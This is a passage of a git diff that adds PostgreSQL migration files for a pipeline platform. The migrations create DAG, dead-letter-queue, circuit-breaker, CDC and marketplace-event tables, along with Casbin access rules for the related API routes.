+-- Extend pipe_templates with DAG flag
+ALTER TABLE pipe_templates ADD COLUMN is_dag BOOLEAN NOT NULL DEFAULT false;
+ALTER TABLE pipe_templates ADD COLUMN dag_config JSONB;
diff --git a/migrations/20260717120001_casbin_dag_routes.down.sql b/migrations/20260717120001_casbin_dag_routes.down.sql
new file mode 100644
index 00000000..6674260e
--- /dev/null
+++ b/migrations/20260717120001_casbin_dag_routes.down.sql
@@ -0,0 +1,3 @@
+DELETE FROM casbin_rule
+WHERE ptype = 'p'
+  AND v1 LIKE '/api/v1/pipes/*/dag/%';
diff --git a/migrations/20260717120001_casbin_dag_routes.up.sql b/migrations/20260717120001_casbin_dag_routes.up.sql
new file mode 100644
index 00000000..4ea78761
--- /dev/null
+++ b/migrations/20260717120001_casbin_dag_routes.up.sql
@@ -0,0 +1,25 @@
+-- Casbin rules for DAG step/edge/validate routes under /api/v1/pipes/{id}/dag/*
+INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+  -- Steps CRUD
+  ('p', 'group_admin', '/api/v1/pipes/*/dag/steps', 'GET', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/*/dag/steps', 'POST', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/*/dag/steps/*', 'GET', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/*/dag/steps/*', 'PUT', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/*/dag/steps/*', 'DELETE', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/*/dag/steps', 'GET', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/*/dag/steps', 'POST', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/*/dag/steps/*', 'GET', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/*/dag/steps/*', 'PUT', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/*/dag/steps/*', 'DELETE', '', '', ''),
+  -- Edges CRUD
+  ('p', 'group_admin', '/api/v1/pipes/*/dag/edges', 'GET', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/*/dag/edges', 'POST', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/*/dag/edges/*', 'DELETE', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/*/dag/edges', 'GET', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/*/dag/edges', 'POST', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/*/dag/edges/*', 'DELETE', '', '', ''),
+  -- Validate
+  ('p', 'group_admin', '/api/v1/pipes/*/dag/validate', 'POST', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/*/dag/validate', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260717120002_create_resilience_tables.down.sql b/migrations/20260717120002_create_resilience_tables.down.sql
new file mode 100644
index 00000000..5f18d222
--- /dev/null
+++ b/migrations/20260717120002_create_resilience_tables.down.sql
@@ -0,0 +1,2 @@
+DROP TABLE IF EXISTS circuit_breakers;
+DROP TABLE IF EXISTS dead_letter_queue;
diff --git a/migrations/20260717120002_create_resilience_tables.up.sql b/migrations/20260717120002_create_resilience_tables.up.sql
new file mode 100644
index 00000000..34f3e944
--- /dev/null
+++ b/migrations/20260717120002_create_resilience_tables.up.sql
@@ -0,0 +1,39 @@
+-- Dead Letter Queue for failed pipe executions
+CREATE TABLE IF NOT EXISTS dead_letter_queue (
+    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
+    pipe_instance_id UUID NOT NULL REFERENCES pipe_instances(id) ON DELETE CASCADE,
+    pipe_execution_id UUID REFERENCES pipe_executions(id) ON DELETE SET NULL,
+    dag_step_id UUID REFERENCES pipe_dag_steps(id) ON DELETE SET NULL,
+    payload JSONB,
+    error TEXT NOT NULL DEFAULT '',
+    retry_count INTEGER NOT NULL DEFAULT 0,
+    max_retries INTEGER NOT NULL DEFAULT 3,
+    next_retry_at TIMESTAMPTZ,
+    status TEXT NOT NULL DEFAULT 'pending'
+        CHECK (status IN ('pending', 'retrying', 'exhausted', 'resolved', 'discarded')),
+    created_by TEXT NOT NULL DEFAULT '',
+    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+    updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
+);
+
+CREATE INDEX idx_dlq_instance_id ON dead_letter_queue(pipe_instance_id);
+CREATE INDEX idx_dlq_status ON dead_letter_queue(status);
+
+-- Circuit breaker state per pipe instance
+CREATE TABLE IF NOT EXISTS circuit_breakers (
+    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
+    pipe_instance_id UUID NOT NULL UNIQUE REFERENCES pipe_instances(id) ON DELETE CASCADE,
+    state TEXT NOT NULL DEFAULT 'closed'
+        CHECK (state IN ('closed', 'open', 'half_open')),
+    failure_count INTEGER NOT NULL DEFAULT 0,
+    success_count INTEGER NOT NULL DEFAULT 0,
+    failure_threshold INTEGER NOT NULL DEFAULT 5,
+    recovery_timeout_seconds INTEGER NOT NULL DEFAULT 60,
+    half_open_max_requests INTEGER NOT NULL DEFAULT 3,
+    last_failure_at TIMESTAMPTZ,
+    opened_at TIMESTAMPTZ,
+    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+    updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
+);
+
+CREATE INDEX idx_cb_instance_id ON circuit_breakers(pipe_instance_id);
diff --git a/migrations/20260717120003_casbin_resilience_routes.down.sql b/migrations/20260717120003_casbin_resilience_routes.down.sql
new file mode 100644
index 00000000..ffaaa21b
--- /dev/null
+++ b/migrations/20260717120003_casbin_resilience_routes.down.sql
@@ -0,0 +1,3 @@
+DELETE FROM casbin_rule WHERE v1 LIKE '/api/v1/pipes/%/dlq%'
+   OR v1 LIKE '/api/v1/pipes/dlq/%'
+   OR v1 LIKE '/api/v1/pipes/%/circuit-breaker%';
diff --git a/migrations/20260717120003_casbin_resilience_routes.up.sql b/migrations/20260717120003_casbin_resilience_routes.up.sql
new file mode 100644
index 00000000..0599cd08
--- /dev/null
+++ b/migrations/20260717120003_casbin_resilience_routes.up.sql
@@ -0,0 +1,27 @@
+-- Casbin rules for DLQ and circuit breaker routes
+INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES
+  -- DLQ routes (admin)
+  ('p', 'group_admin', '/api/v1/pipes/instances/*/dlq', 'GET', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/instances/*/dlq', 'POST', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/dlq/*', 'GET', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/dlq/*/retry', 'POST', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/dlq/*', 'DELETE', '', '', ''),
+  -- Circuit breaker routes (admin)
+  ('p', 'group_admin', '/api/v1/pipes/instances/*/circuit-breaker', 'GET', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/instances/*/circuit-breaker', 'PUT', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/instances/*/circuit-breaker/reset', 'POST', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/instances/*/circuit-breaker/failure', 'POST', '', '', ''),
+  ('p', 'group_admin', '/api/v1/pipes/instances/*/circuit-breaker/success', 'POST', '', '', ''),
+  -- DLQ routes (user)
+  ('p', 'group_user', '/api/v1/pipes/instances/*/dlq', 'GET', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/instances/*/dlq', 'POST', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/dlq/*', 'GET', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/dlq/*/retry', 'POST', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/dlq/*', 'DELETE', '', '', ''),
+  -- Circuit breaker routes (user)
+  ('p', 'group_user', '/api/v1/pipes/instances/*/circuit-breaker', 'GET', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/instances/*/circuit-breaker', 'PUT', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/instances/*/circuit-breaker/reset', 'POST', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/instances/*/circuit-breaker/failure', 'POST', '', '', ''),
+  ('p', 'group_user', '/api/v1/pipes/instances/*/circuit-breaker/success', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260717120004_casbin_dag_execution_routes.down.sql b/migrations/20260717120004_casbin_dag_execution_routes.down.sql
new file mode 100644
index 00000000..f1884bd1
--- /dev/null
+++ b/migrations/20260717120004_casbin_dag_execution_routes.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM casbin_rule WHERE v1 IN (
+  '/api/v1/pipes/instances/*/dag/execute',
+  '/api/v1/pipes/*/dag/executions/*/steps'
+);
diff --git a/migrations/20260717120004_casbin_dag_execution_routes.up.sql b/migrations/20260717120004_casbin_dag_execution_routes.up.sql
new file mode 100644
index 00000000..78c035a6
--- /dev/null
+++ b/migrations/20260717120004_casbin_dag_execution_routes.up.sql
@@ -0,0 +1,15 @@
+-- Casbin rules for DAG execution routes
+INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES
+  -- DAG execute (admin)
+  ('p', 'group_admin', '/api/v1/pipes/instances/*/dag/execute', 'POST', '', '', ''),
+  -- DAG step executions list (admin)
+  ('p', 'group_admin', '/api/v1/pipes/*/dag/executions/*/steps', 'GET', '', '', ''),
+  -- DAG execute (user)
+  ('p', 'group_user', '/api/v1/pipes/instances/*/dag/execute', 'POST', '', '', ''),
+  -- DAG step executions list (user)
+  ('p', 'group_user', '/api/v1/pipes/*/dag/executions/*/steps', 'GET', '', '', ''),
+  -- DAG execute (client)
+  ('p', 'group_client', '/api/v1/pipes/instances/*/dag/execute', 'POST', '', '', ''),
+  -- DAG step executions list (client)
+  ('p', 'group_client', '/api/v1/pipes/*/dag/executions/*/steps', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260717120005_casbin_prometheus_metrics.down.sql b/migrations/20260717120005_casbin_prometheus_metrics.down.sql
new file mode 100644
index 00000000..0a4771c4
--- /dev/null
+++ b/migrations/20260717120005_casbin_prometheus_metrics.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 = '/metrics'
+  AND v2 = 'GET';
diff --git a/migrations/20260717120005_casbin_prometheus_metrics.up.sql b/migrations/20260717120005_casbin_prometheus_metrics.up.sql
new file mode 100644
index 00000000..a190049e
--- /dev/null
+++ b/migrations/20260717120005_casbin_prometheus_metrics.up.sql
@@ -0,0 +1,12 @@
+-- Allow anonymous, user, and admin access to /metrics (Prometheus endpoint)
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_anonymous', '/metrics', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/metrics', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/metrics', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260717120006_casbin_streaming_routes.down.sql b/migrations/20260717120006_casbin_streaming_routes.down.sql
new file mode 100644
index 00000000..c2a58b6e
--- /dev/null
+++ b/migrations/20260717120006_casbin_streaming_routes.down.sql
@@ -0,0 +1,3 @@
+-- Revert Casbin rules for streaming endpoint
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances/:instance_id/stream' AND v2='GET';
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_admin' AND v1='/api/v1/pipes/instances/:instance_id/stream' AND v2='GET';
diff --git a/migrations/20260717120006_casbin_streaming_routes.up.sql b/migrations/20260717120006_casbin_streaming_routes.up.sql
new file mode 100644
index 00000000..85f99995
--- /dev/null
+++ b/migrations/20260717120006_casbin_streaming_routes.up.sql
@@ -0,0 +1,8 @@
+-- Allow user and admin access to pipe instance execution stream (SSE)
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/v1/pipes/instances/:instance_id/stream', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/v1/pipes/instances/:instance_id/stream', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260717120007_streaming_step_types.down.sql b/migrations/20260717120007_streaming_step_types.down.sql
new file mode 100644
index 00000000..07196357
--- /dev/null
+++ b/migrations/20260717120007_streaming_step_types.down.sql
@@ -0,0 +1,14 @@
+-- Revert to original step_type constraint
+ALTER TABLE pipe_dag_steps DROP CONSTRAINT IF EXISTS pipe_dag_steps_step_type_check;
+
+ALTER TABLE pipe_dag_steps ADD CONSTRAINT pipe_dag_steps_step_type_check
+    CHECK (step_type IN (
+        'source', 'transform', 'condition', 'target',
+        'parallel_split', 'parallel_join'
+    ));
+
+-- Remove any rows with streaming types (if any)
+DELETE FROM pipe_dag_steps WHERE step_type IN (
+    'ws_source', 'ws_target', 'http_stream_source',
+    'grpc_source', 'grpc_target'
+);
diff --git a/migrations/20260717120007_streaming_step_types.up.sql b/migrations/20260717120007_streaming_step_types.up.sql
new file mode 100644
index 00000000..2a4a5fb9
--- /dev/null
+++ b/migrations/20260717120007_streaming_step_types.up.sql
@@ -0,0 +1,10 @@
+-- Extend step_type check constraint to include streaming types
+ALTER TABLE pipe_dag_steps DROP CONSTRAINT IF EXISTS pipe_dag_steps_step_type_check;
+
+ALTER TABLE pipe_dag_steps ADD CONSTRAINT pipe_dag_steps_step_type_check
+    CHECK (step_type IN (
+        'source', 'transform', 'condition', 'target',
+        'parallel_split', 'parallel_join',
+        'ws_source', 'ws_target', 'http_stream_source',
+        'grpc_source', 'grpc_target'
+    ));
diff --git a/migrations/20260717120008_casbin_field_match.down.sql b/migrations/20260717120008_casbin_field_match.down.sql
new file mode 100644
index 00000000..231ce415
--- /dev/null
+++ b/migrations/20260717120008_casbin_field_match.down.sql
@@ -0,0 +1 @@
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v1='/api/v1/pipes/field-match' AND v2='POST';
diff --git a/migrations/20260717120008_casbin_field_match.up.sql b/migrations/20260717120008_casbin_field_match.up.sql
new file mode 100644
index 00000000..fa6e6cc2
--- /dev/null
+++ b/migrations/20260717120008_casbin_field_match.up.sql
@@ -0,0 +1,6 @@
+-- Add Casbin rules for field-match endpoint
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_user', '/api/v1/pipes/field-match', 'POST', '', '', ''),
+    ('p', 'group_admin', '/api/v1/pipes/field-match', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260717120009_cdc_tables.down.sql b/migrations/20260717120009_cdc_tables.down.sql
new file mode 100644
index 00000000..bfacb9e1
--- /dev/null
+++ b/migrations/20260717120009_cdc_tables.down.sql
@@ -0,0 +1,18 @@
+-- Revert CDC step type constraint
+ALTER TABLE pipe_dag_steps DROP CONSTRAINT IF EXISTS pipe_dag_steps_step_type_check;
+
+ALTER TABLE pipe_dag_steps ADD CONSTRAINT pipe_dag_steps_step_type_check
+    CHECK (step_type IN (
+        'source', 'transform', 'condition', 'target',
+        'parallel_split', 'parallel_join',
+        'ws_source', 'ws_target', 'http_stream_source',
+        'grpc_source', 'grpc_target'
+    ));
+
+-- Remove Casbin policies for CDC routes
+DELETE FROM casbin_rule WHERE v1 LIKE '/api/v1/cdc/%';
+
+-- Drop CDC tables
+DROP TABLE IF EXISTS cdc_events;
+DROP TABLE IF EXISTS cdc_triggers;
+DROP TABLE IF EXISTS cdc_sources;
diff --git a/migrations/20260717120009_cdc_tables.up.sql b/migrations/20260717120009_cdc_tables.up.sql
new file mode 100644
index 00000000..9a55e6a7
--- /dev/null
+++ b/migrations/20260717120009_cdc_tables.up.sql
@@ -0,0 +1,76 @@
+-- Add cdc_source step type to pipe_dag_steps constraint
+ALTER TABLE pipe_dag_steps DROP CONSTRAINT IF EXISTS pipe_dag_steps_step_type_check;
+
+ALTER TABLE pipe_dag_steps ADD CONSTRAINT pipe_dag_steps_step_type_check
+    CHECK (step_type IN (
+        'source', 'transform', 'condition', 'target',
+        'parallel_split', 'parallel_join',
+        'ws_source', 'ws_target', 'http_stream_source',
+        'grpc_source', 'grpc_target',
+        'cdc_source'
+    ));
+
+-- CDC source configuration table
+CREATE TABLE IF NOT EXISTS cdc_sources (
+    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
+    deployment_hash VARCHAR(255) NOT NULL,
+    connection_url TEXT NOT NULL,
+    replication_slot VARCHAR(255) NOT NULL,
+    publication_name VARCHAR(255) NOT NULL,
+    monitored_tables JSONB NOT NULL DEFAULT '[]'::jsonb,
+    capture_operations JSONB NOT NULL DEFAULT '["INSERT","UPDATE","DELETE"]'::jsonb,
+    status VARCHAR(50) NOT NULL DEFAULT 'active'
+        CHECK (status IN ('active', 'paused', 'error', 'deleted')),
+    last_lsn VARCHAR(64),
+    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+    updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
+);
+
+CREATE INDEX IF NOT EXISTS idx_cdc_sources_deployment ON cdc_sources(deployment_hash);
+CREATE INDEX IF NOT EXISTS idx_cdc_sources_status ON cdc_sources(status);
+
+-- CDC trigger bindings (which CDC source triggers which pipe)
+CREATE TABLE IF NOT EXISTS cdc_triggers (
+    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
+    cdc_source_id UUID NOT NULL REFERENCES cdc_sources(id) ON DELETE CASCADE,
+    pipe_template_id UUID NOT NULL REFERENCES pipe_templates(id) ON DELETE CASCADE,
+    table_filter VARCHAR(255),
+    operation_filter JSONB,
+    condition JSONB,
+    enabled BOOLEAN NOT NULL DEFAULT true,
+    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
+);
+
+CREATE INDEX IF NOT EXISTS idx_cdc_triggers_source ON cdc_triggers(cdc_source_id);
+CREATE INDEX IF NOT EXISTS idx_cdc_triggers_pipe ON cdc_triggers(pipe_template_id);
+
+-- CDC event log for audit/replay
+CREATE TABLE IF NOT EXISTS cdc_events (
+    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
+    source_id UUID NOT NULL REFERENCES cdc_sources(id) ON DELETE CASCADE,
+    schema_name VARCHAR(255) NOT NULL DEFAULT 'public',
+    table_name VARCHAR(255) NOT NULL,
+    operation VARCHAR(10) NOT NULL CHECK (operation IN ('INSERT', 'UPDATE', 'DELETE')),
+    before_data JSONB,
+    after_data JSONB,
+    xid BIGINT NOT NULL,
+    lsn VARCHAR(64) NOT NULL,
+    captured_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
+);
+
+CREATE INDEX IF NOT EXISTS idx_cdc_events_source ON cdc_events(source_id);
+CREATE INDEX IF NOT EXISTS idx_cdc_events_table ON cdc_events(table_name);
+CREATE INDEX IF NOT EXISTS idx_cdc_events_captured ON cdc_events(captured_at);
+
+-- Casbin policies for CDC routes
+INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES
+    ('p', 'group_user', '/api/v1/cdc/sources', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/v1/cdc/sources', 'POST', '', '', ''),
+    ('p', 'group_user', '/api/v1/cdc/sources/*', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/v1/cdc/sources/*', 'PUT', '', '', ''),
+    ('p', 'group_user', '/api/v1/cdc/sources/*', 'DELETE', '', '', ''),
+    ('p', 'group_user', '/api/v1/cdc/triggers', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/v1/cdc/triggers', 'POST', '', '', ''),
+    ('p', 'group_user', '/api/v1/cdc/triggers/*', 'DELETE', '', '', ''),
+    ('p', 'group_user', '/api/v1/cdc/events', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260717120010_casbin_editor_policy.down.sql b/migrations/20260717120010_casbin_editor_policy.down.sql
new file mode 100644
index 00000000..bec2c666
--- /dev/null
+++ b/migrations/20260717120010_casbin_editor_policy.down.sql
@@ -0,0 +1,2 @@
+-- Revoke anonymous access to /editor static files
+DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_anonymous' AND v1 IN ('/editor', '/editor/', '/editor/:path', '/editor/assets/:path');
diff --git a/migrations/20260717120010_casbin_editor_policy.up.sql b/migrations/20260717120010_casbin_editor_policy.up.sql
new file mode 100644
index 00000000..5cd3969d
--- /dev/null
+++ b/migrations/20260717120010_casbin_editor_policy.up.sql
@@ -0,0 +1,5 @@
+-- Allow anonymous access to /editor static files
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/editor', 'GET', '', '', '');
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/editor/', 'GET', '', '', '');
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/editor/:path', 'GET', '', '', '');
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/editor/assets/:path', 'GET', '', '', '');
diff --git a/migrations/20260717120011_pipe_local_mode.down.sql b/migrations/20260717120011_pipe_local_mode.down.sql
new file mode 100644
index 00000000..a4721ea5
--- /dev/null
+++ b/migrations/20260717120011_pipe_local_mode.down.sql
@@ -0,0 +1,10 @@
+DROP INDEX IF EXISTS idx_pipe_instances_local;
+
+ALTER TABLE pipe_executions DROP COLUMN IF EXISTS is_local;
+ALTER TABLE pipe_instances DROP COLUMN IF EXISTS is_local;
+
+-- Restore NOT NULL (backfill NULLs first to avoid constraint violation)
+UPDATE pipe_instances SET deployment_hash = '' WHERE deployment_hash IS NULL;
+UPDATE pipe_executions SET deployment_hash = '' WHERE deployment_hash IS NULL;
+ALTER TABLE pipe_instances ALTER COLUMN deployment_hash SET NOT NULL;
+ALTER TABLE pipe_executions ALTER COLUMN deployment_hash SET NOT NULL;
diff --git a/migrations/20260717120011_pipe_local_mode.up.sql b/migrations/20260717120011_pipe_local_mode.up.sql
new file mode 100644
index 00000000..ace4c4a5
--- /dev/null
+++ b/migrations/20260717120011_pipe_local_mode.up.sql
@@ -0,0 +1,10 @@
+-- Make deployment_hash nullable for local pipe mode
+ALTER TABLE pipe_instances ALTER COLUMN deployment_hash DROP NOT NULL;
+ALTER TABLE pipe_executions ALTER COLUMN deployment_hash DROP NOT NULL;
+
+-- Track whether a pipe was created in local mode
+ALTER TABLE pipe_instances ADD COLUMN is_local BOOLEAN NOT NULL DEFAULT FALSE;
+ALTER TABLE pipe_executions ADD COLUMN is_local BOOLEAN NOT NULL DEFAULT FALSE;
+
+-- Index for listing user's local pipes efficiently
+CREATE INDEX idx_pipe_instances_local ON pipe_instances(created_by, is_local) WHERE is_local = true;
diff --git a/migrations/20260717120012_marketplace_event.down.sql b/migrations/20260717120012_marketplace_event.down.sql
new file mode 100644
index 00000000..5f2026ed
--- /dev/null
+++ b/migrations/20260717120012_marketplace_event.down.sql
@@ -0,0 +1 @@
+DROP TABLE IF EXISTS marketplace_event;
diff --git a/migrations/20260717120012_marketplace_event.up.sql b/migrations/20260717120012_marketplace_event.up.sql
new file mode 100644
index 00000000..e95db069
--- /dev/null
+++ b/migrations/20260717120012_marketplace_event.up.sql
@@ -0,0 +1,18 @@
+CREATE TABLE IF NOT EXISTS marketplace_event (
+    id BIGSERIAL PRIMARY KEY,
+    template_id UUID NOT NULL,
+    event_type VARCHAR(50) NOT NULL CHECK (event_type IN ('view', 'deploy')),
+    viewer_user_id VARCHAR(50),
+    deployer_user_id VARCHAR(50),
+    cloud_provider VARCHAR(100),
+    occurred_at TIMESTAMPTZ DEFAULT (NOW() AT TIME ZONE 'utc'),
+    metadata JSONB,
+    CONSTRAINT fk_marketplace_event_template
+        FOREIGN KEY (template_id) REFERENCES stack_template(id) ON DELETE CASCADE
+);
+
+CREATE INDEX IF NOT EXISTS idx_marketplace_event_template ON marketplace_event(template_id);
+CREATE INDEX IF NOT EXISTS idx_marketplace_event_type ON marketplace_event(event_type);
+CREATE INDEX IF NOT EXISTS idx_marketplace_event_occurred ON marketplace_event(occurred_at);
+CREATE INDEX IF NOT EXISTS idx_marketplace_event_viewer ON marketplace_event(viewer_user_id);
+CREATE INDEX IF NOT EXISTS idx_marketplace_event_deployer ON marketplace_event(deployer_user_id);
diff --git a/migrations/20260717120013_casbin_creator_vendor_group_user.down.sql b/migrations/20260717120013_casbin_creator_vendor_group_user.down.sql
new file mode 100644
index 00000000..a6c5a1f1
--- /dev/null
+++ b/migrations/20260717120013_casbin_creator_vendor_group_user.down.sql
@@ -0,0 +1,2 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'g' AND v0 IN ('creator', 'vendor') AND v1 = 'group_user';
diff --git a/migrations/20260717120013_casbin_creator_vendor_group_user.up.sql b/migrations/20260717120013_casbin_creator_vendor_group_user.up.sql
new file mode 100644
index 00000000..41d00222
--- /dev/null
+++ b/migrations/20260717120013_casbin_creator_vendor_group_user.up.sql
@@ -0,0 +1,13 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+SELECT 'g', 'creator', 'group_user', '', '', '', ''
+WHERE NOT EXISTS (
+    SELECT 1 FROM public.casbin_rule
+    WHERE ptype = 'g' AND v0 = 'creator' AND v1 = 'group_user'
+);
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+SELECT 'g', 'vendor', 'group_user', '', '', '', ''
+WHERE NOT EXISTS (
+    SELECT 1 FROM public.casbin_rule
+    WHERE ptype = 'g' AND v0 = 'vendor' AND v1 = 'group_user'
+);
diff --git a/migrations/20260717120014_casbin_server_ssh_authorize_public_key.down.sql b/migrations/20260717120014_casbin_server_ssh_authorize_public_key.down.sql
new file mode 100644
index 00000000..81d6231e
--- /dev/null
+++ b/migrations/20260717120014_casbin_server_ssh_authorize_public_key.down.sql
@@ -0,0 +1,8 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 = '/server/:id/ssh-key/authorize-public-key'
+  AND v2 = 'POST'
+  AND v0 IN ('group_user', 'root')
+  AND v3 = ''
+  AND v4 = ''
+  AND v5 = '';
diff --git a/migrations/20260717120014_casbin_server_ssh_authorize_public_key.up.sql b/migrations/20260717120014_casbin_server_ssh_authorize_public_key.up.sql
new file mode 100644
index 00000000..7a757206
--- /dev/null
+++ b/migrations/20260717120014_casbin_server_ssh_authorize_public_key.up.sql
@@ -0,0 +1,5 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_user', '/server/:id/ssh-key/authorize-public-key', 'POST', '', '', ''),
+    ('p', 'root', '/server/:id/ssh-key/authorize-public-key', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.down.sql b/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.down.sql
new file mode 100644
index 00000000..395c5870
--- /dev/null
+++ b/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.down.sql
@@ -0,0 +1,2 @@
+-- Data migration rollback is intentionally a no-op because deleted rows cannot
+-- be reconstructed safely.
diff --git a/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.up.sql b/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.up.sql
new file mode 100644
index 00000000..b2b16678
--- /dev/null
+++ b/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.up.sql
@@ -0,0 +1,2 @@
+DELETE FROM project_app
+WHERE regexp_replace(lower(trim(both from trim(leading '/' from code))), '[-_]+', '_', 'g') = 'nginx_proxy_manager';
diff --git a/migrations/20260717120016_casbin_cloud_firewall.down.sql b/migrations/20260717120016_casbin_cloud_firewall.down.sql
new file mode 100644
index 00000000..afe1aa72
--- /dev/null
+++ b/migrations/20260717120016_casbin_cloud_firewall.down.sql
@@ -0,0 +1,8 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 = '/server/:id/cloud-firewall'
+  AND v2 = 'POST'
+  AND v0 IN ('group_user', 'group_admin', 'root')
+  AND v3 = ''
+  AND v4 = ''
+  AND v5 = '';
diff --git a/migrations/20260717120016_casbin_cloud_firewall.up.sql b/migrations/20260717120016_casbin_cloud_firewall.up.sql
new file mode 100644
index 00000000..5ecaeb92
--- /dev/null
+++ b/migrations/20260717120016_casbin_cloud_firewall.up.sql
@@ -0,0 +1,6 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_user', '/server/:id/cloud-firewall', 'POST', '', '', ''),
+    ('p', 'group_admin', '/server/:id/cloud-firewall', 'POST', '', '', ''),
+    ('p', 'root', '/server/:id/cloud-firewall', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260717120017_casbin_project_app_delete.down.sql b/migrations/20260717120017_casbin_project_app_delete.down.sql
new file mode 100644
index 00000000..d867bdda
--- /dev/null
+++ b/migrations/20260717120017_casbin_project_app_delete.down.sql
@@ -0,0 +1,10 @@
+-- Remove Casbin rules for deleting project apps
+
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 = 'group_user'
+  AND v1 IN (
+    '/project/:id/apps/:code',
